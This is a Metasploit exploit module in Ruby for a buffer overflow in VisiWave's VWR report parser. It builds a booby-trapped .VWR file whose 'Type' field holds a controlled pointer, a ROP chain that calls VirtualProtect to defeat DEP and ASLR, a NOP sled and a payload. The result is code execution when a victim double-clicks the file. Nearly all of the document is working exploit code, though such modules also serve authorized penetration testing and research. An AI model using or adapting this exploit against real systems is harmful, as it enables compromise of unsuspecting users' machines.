VisiWave VWR File Parsing Buffer Overflow

`##  
# $Id: visiwave_vwr_type.rb 12706 2011-05-24 23:15:06Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VisiWave VWR File Parsing Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability found in VisiWave's Site Survey Report application.  
When processing .VWR files, VisiWave.exe attempts to match a valid pointer based on the 'Type'  
property (valid ones include 'Properties', 'TitlePage', 'Details', 'Graph', 'Table', 'Text',  
'Image'), but if a match isn't found, the function that's supposed to handle this routine  
ends up returning the input as a pointer, and later used in a CALL DWORD PTR [EDX+10]  
instruction. This allows attackers to overwrite it with any arbitrary value, and results code  
execution. This module was built to bypass ASLR and DEP.  
  
NOTE: During installation, the application will register two file handle's, VWS and VWR and allows a  
victim user to 'double click' the malicious VWR file and execute code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'mr_me', # original discovery & msf exploit  
'TecR0c' # msf exploit  
],  
'Version' => '$Revision: 12706 $',  
'References' =>  
[  
[ 'OSVDB', '72464'],  
[ 'URL', 'http://www.visiwave.com/blog/index.php?/archives/4-Version-2.1.9-Released.html' ]  
],  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => "\x00\x0a\x0d",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Windows XP SP3/Windows 7 SP0',  
{  
'Offset' => 3981, # offset to rop gadgets  
'Pointer' => 0x007AF938, # POP R32; POP R32; POP R32; ADD ESP 50; RETN ("magic" pointer)  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'May 10 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.vwr']),  
], self.class)  
end  
  
def exploit  
  
# Allowing nulls in our rop chain is like giving gold to midas.  
# instructions taken from the applications non aslr modules  
# libcurl.dll, VisiWaveReport.exe and blah blah  
rop_gadgets =  
[  
0x1001AFBD, # INC EBP; PUSH ESP; POP EDI; POP ESI; POP EBP; POP EBX; RET  
0xc0fff333, # junk  
0xc0fff333, # junk  
0x000004cf, # lwSize 1231 bytes  
0x100017DD, # POP ECX; RETN  
0x10037a60, # Writeable address from .data of libcurl.dll  
0x10011104, # POP EDX; RETN  
0x00000040, # RWX for VirtualProtect()  
0x10026E4D, # MOV EAX,EDI # POP EDI # RETN   
0x10002ac6, # RETN  
0x10022641, # ADD EAX, 20; RETN  
0x10022641, # ADD EAX, 20; RETN  
0x10022641, # ADD EAX, 20; RETN  
0x10022641, # ADD EAX, 20; RETN  
0x10022641, # ADD EAX, 20; RETN  
0x10022641, # ADD EAX, 20; RETN  
0x004048B1, # XCHG EAX,EBP  
0x1001BD3F, # POP EAX; RETN  
0x10032048, # IAT Address - constant pointer to VirtualProtect()  
0x1000FA4A, # MOV EAX,DWORD PTR DS:[EAX]; RETN  
0x00657fd7, # XCHG EAX,ESI; RETN  
0x1000af40, # PUSHAD; RET  
].pack("V*")  
  
# grab the pointer to our buffer  
pointer = [target["Pointer"]].pack("V")  
  
sploit = pointer # begin life in EDX  
sploit << rand_text_alphanumeric(target["Offset"]) # massive offset  
sploit << rop_gadgets # rop chain  
sploit << make_nops(300) # safe landing  
sploit << payload.encoded # profit!  
  
vwr_data = "FileType: SSREPORT\r\n"  
vwr_data << "Product: VisiWave Site Survey, 1.6.5 Beta\r\n"  
vwr_data << "FileVersion: 10\r\n"  
vwr_data << "Item: Global Properties\r\n"  
vwr_data << "Checked: 1\r\n"  
vwr_data << "Type: #{sploit}\r\n"  
vwr_data << "SurveyFile: C:\Program Files\VisiWave Site Survey\Samples\SampleData.vws\r\n"  
vwr_data << "FloorPlanImageReport: C:\WINDOWS\Web\bullet.gif\r\n"  
vwr_data << "DefaultOrientation: 0\r\n"  
vwr_data << "Header:\r\n"  
vwr_data << "Footer:\r\n"  
vwr_data << "LeftMargin: 100\r\n"  
vwr_data << "RightMargin: 100\r\n"  
vwr_data << "TopMargin: 50\r\n"  
vwr_data << "BottomMargin: 50\r\n"  
vwr_data << "Item: lol\r\n"  
vwr_data << "Checked: 1\r\n"  
  
print_status("Creating '#{datastore['FILENAME']}'...")  
file_create(vwr_data)  
end  
  
end  
`